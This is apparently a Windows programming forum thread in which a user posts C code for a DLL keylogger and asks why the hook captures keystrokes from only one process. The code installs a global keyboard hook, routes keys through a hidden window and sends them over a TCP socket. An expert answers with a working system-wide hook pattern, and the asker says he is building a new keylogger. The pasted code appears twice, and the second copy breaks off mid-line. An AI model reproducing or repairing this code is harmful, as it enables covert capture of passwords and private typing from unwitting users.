afzalj
asked on
SetWindowsHook Problem ?
Here is part of my program which is inside a DLL. The code is supposed to keylog all messages and send to a connected socket. However, it does not work for all keystrokes, only those associated with a process which has called a different context of the DLL ! (for some reason???) (see below for explanation)
Not all of the CODE, but general gist:
SOCKET nsock;
HINSTANCE hginstance, hracpapi;
HANDLE hthread;
DWORD exitcode, tid;
LRESULT CALLBACK keyproc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION) {
short keystate = GetKeyState((int)wParam);
if ((HIBYTE(keystate) & 128) == 128) {
HWND hwnd = FindWindow(NULL, "RACPLOGWND");
if (hwnd != NULL) // send to invisible window ! SendMessage(hwnd, 12345, wParam, lParam);
}
}
else {
if (code < 0)
return CallNextHookEx(hook, code, wParam, lParam);
}
return 0;
}
LRESULT CALLBACK logwndproc(HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam)
{
switch (umsg) {
case 12345: // key data - we have a key press - send key to socket
int scan, virt;
virt = (int)wparam;
scan = MapVirtualKey(virt, 0);
scan <= 16;
BYTE kbuf[256];
WORD ch;
int chcount;
GetKeyboardState(kbuf);
chcount = ToAscii(virt, scan, kbuf, &ch, 0);
if (virt == VK_RETURN) {
if ((send(nsock, (char *)"\n\r", 2, 0)) == SOCKET_ERROR)
PostQuitMessage(0);
}
else {
if ((send(nsock, (char *)&ch, chcount, 0)) == SOCKET_ERROR)
PostQuitMessage(0);
}
break;
case WM_CLOSE:
case WM_DESTROY:
case WM_ENDSESSION:
case WM_QUIT:
case WM_QUERYENDSESSION:
PostQuitMessage(0);
break;
}
return DefWindowProc(hwnd, umsg, wparam, lparam);
}
void keylogthread(void *arg)
{
WNDCLASS wndclass = {0};
MSG msg;
WSADATA wsadata;
DWORD addr = 0;
struct sockaddr_in sa;
struct _plpacket plpacket;
SOCKET sock;
int len = sizeof(sa);
WSAStartup(0x0101, &wsadata);
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
memcpy(&sa.sin_addr, &addr, 4);
sa.sin_port = htons(12345);
sa.sin_family = PF_INET;
if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR)
return; // can't bind
listen(sock, 5);
plpacket.msg = CLID_PLUGIN;
strcpy(plpacket.pl_execute , funcname);
plpacket.udata = 1;
(*senddata)(srvsock, sizeof(plpacket), (char *)&plpacket);
nsock = accept(sock, (struct sockaddr *)&sa, &len);
wndclass.style = 0;
wndclass.lpfnWndProc = (WNDPROC)logwndproc;
wndclass.hInstance = hginstance;
wndclass.hIcon = NULL;
wndclass.hCursor = NULL;
wndclass.hbrBackground = NULL;
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "RACPLOGCLASS";
RegisterClass(&wndclass);
hook = SetWindowsHookEx(WH_KEYBOA RD, (HOOKPROC)keyproc, hginstance, 0);
if (hook == NULL) {
send(nsock, (char *)"Error ! Can't HOOK Keyboard!", 28, 0);
return;
}
hwnd = CreateWindow("RACPLOGCLASS ", "RACPLOGWND", 0, 0, 0, 0, 0, NULL, NULL, hginstance, NULL);
if (hwnd == NULL) {
send(nsock, (char *)"Error ! Can't Create Window!", 28, 0);
UnhookWindowsHookEx(hook);
closesocket(nsock);
return;
}
while (GetMessage(&msg, hwnd, 0, 0))
DispatchMessage(&msg);
UnhookWindowsHookEx(hook);
}
The way it works is as follows:
When DLL_PROCESS_ATTACH occurs, instance is copied into global hginstance. Then, a listening socket is created and waits for a connection. When connected, set's up an invisible window whose job is to receive a 12345 message from the keyboard hook procedure. This message contains data about the key-press information recorded by the hook procedure.
As i said, it only records key-strokes from a specifc app which has called the DLL, but in a totally different context ! However, on any other app e.g. notepad, it is really slow typing and the hook proc does not receive any messages ? Is there something wrong with the Calling of the hook ? Please Help, Thanx,
Afzal.
Not all of the CODE, but general gist:
SOCKET nsock;
HINSTANCE hginstance, hracpapi;
HANDLE hthread;
DWORD exitcode, tid;
LRESULT CALLBACK keyproc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION) {
short keystate = GetKeyState((int)wParam);
if ((HIBYTE(keystate) & 128) == 128) {
HWND hwnd = FindWindow(NULL, "RACPLOGWND");
if (hwnd != NULL) // send to invisible window ! SendMessage(hwnd, 12345, wParam, lParam);
}
}
else {
if (code < 0)
return CallNextHookEx(hook, code, wParam, lParam);
}
return 0;
}
LRESULT CALLBACK logwndproc(HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam)
{
switch (umsg) {
case 12345: // key data - we have a key press - send key to socket
int scan, virt;
virt = (int)wparam;
scan = MapVirtualKey(virt, 0);
scan <= 16;
BYTE kbuf[256];
WORD ch;
int chcount;
GetKeyboardState(kbuf);
chcount = ToAscii(virt, scan, kbuf, &ch, 0);
if (virt == VK_RETURN) {
if ((send(nsock, (char *)"\n\r", 2, 0)) == SOCKET_ERROR)
PostQuitMessage(0);
}
else {
if ((send(nsock, (char *)&ch, chcount, 0)) == SOCKET_ERROR)
PostQuitMessage(0);
}
break;
case WM_CLOSE:
case WM_DESTROY:
case WM_ENDSESSION:
case WM_QUIT:
case WM_QUERYENDSESSION:
PostQuitMessage(0);
break;
}
return DefWindowProc(hwnd, umsg, wparam, lparam);
}
void keylogthread(void *arg)
{
WNDCLASS wndclass = {0};
MSG msg;
WSADATA wsadata;
DWORD addr = 0;
struct sockaddr_in sa;
struct _plpacket plpacket;
SOCKET sock;
int len = sizeof(sa);
WSAStartup(0x0101, &wsadata);
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
memcpy(&sa.sin_addr, &addr, 4);
sa.sin_port = htons(12345);
sa.sin_family = PF_INET;
if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR)
return; // can't bind
listen(sock, 5);
plpacket.msg = CLID_PLUGIN;
strcpy(plpacket.pl_execute
plpacket.udata = 1;
(*senddata)(srvsock, sizeof(plpacket), (char *)&plpacket);
nsock = accept(sock, (struct sockaddr *)&sa, &len);
wndclass.style = 0;
wndclass.lpfnWndProc = (WNDPROC)logwndproc;
wndclass.hInstance = hginstance;
wndclass.hIcon = NULL;
wndclass.hCursor = NULL;
wndclass.hbrBackground = NULL;
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "RACPLOGCLASS";
RegisterClass(&wndclass);
hook = SetWindowsHookEx(WH_KEYBOA
if (hook == NULL) {
send(nsock, (char *)"Error ! Can't HOOK Keyboard!", 28, 0);
return;
}
hwnd = CreateWindow("RACPLOGCLASS
if (hwnd == NULL) {
send(nsock, (char *)"Error ! Can't Create Window!", 28, 0);
UnhookWindowsHookEx(hook);
closesocket(nsock);
return;
}
while (GetMessage(&msg, hwnd, 0, 0))
DispatchMessage(&msg);
UnhookWindowsHookEx(hook);
}
The way it works is as follows:
When DLL_PROCESS_ATTACH occurs, instance is copied into global hginstance. Then, a listening socket is created and waits for a connection. When connected, set's up an invisible window whose job is to receive a 12345 message from the keyboard hook procedure. This message contains data about the key-press information recorded by the hook procedure.
As i said, it only records key-strokes from a specifc app which has called the DLL, but in a totally different context ! However, on any other app e.g. notepad, it is really slow typing and the hook proc does not receive any messages ? Is there something wrong with the Calling of the hook ? Please Help, Thanx,
Afzal.
Do you use the DLL's instance handle and a thread id set to 0 in your call to 'SetWindowsHookEx()'?
ASKER
Yep
ASKER
The DLL instance handle is the same as the calling process instance handle, no ?
>>The DLL instance handle is the same as the calling
>>process instance handle
Not at all! It's the handle obtained by the call to 'LoadLibrary()'.
That's what I do (inside the DLL!):
#pragma data_seg( ".shared")
HHOOK g_hhk = NULL;
#pragma data_seg()
#pragma comment ( linker, "/section:.shared,rws")
HINSTANCE g_hThisDll;
int APIENTRY DllMain ( HINSTANCE hInstance,
DWORD dwReason,
LPVOID lpReserved
)
{
if ( dwReason == DLL_PROCESS_ATTACH)
{
g_hThisDll = hInstance;
return ( DisableThreadLibraryCalls ( g_hThisDll));
}
return( TRUE);
}
LONG __DYNLINK HookInit ()
{
if ( g_hhk) return ( ERROR_ALREADY_EXISTS);
g_hhk = SetWindowsHookEx ( WH_GETMESSAGE,
( HOOKPROC) HookProc,
g_hThisDll,
0
);
return ( 0);
}
LONG __DYNLINK HookTerm ( void)
{
UnhookWindowsHookEx ( g_hhk);
return ( 0);
}
>>process instance handle
Not at all! It's the handle obtained by the call to 'LoadLibrary()'.
That's what I do (inside the DLL!):
#pragma data_seg( ".shared")
HHOOK g_hhk = NULL;
#pragma data_seg()
#pragma comment ( linker, "/section:.shared,rws")
HINSTANCE g_hThisDll;
int APIENTRY DllMain ( HINSTANCE hInstance,
DWORD dwReason,
LPVOID lpReserved
)
{
if ( dwReason == DLL_PROCESS_ATTACH)
{
g_hThisDll = hInstance;
return ( DisableThreadLibraryCalls ( g_hThisDll));
}
return( TRUE);
}
LONG __DYNLINK HookInit ()
{
if ( g_hhk) return ( ERROR_ALREADY_EXISTS);
g_hhk = SetWindowsHookEx ( WH_GETMESSAGE,
( HOOKPROC) HookProc,
g_hThisDll,
0
);
return ( 0);
}
LONG __DYNLINK HookTerm ( void)
{
UnhookWindowsHookEx ( g_hhk);
return ( 0);
}
Well, did it help?
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
Nope, making a new keylogger altogther. Thanx, u can have points.
Thank you!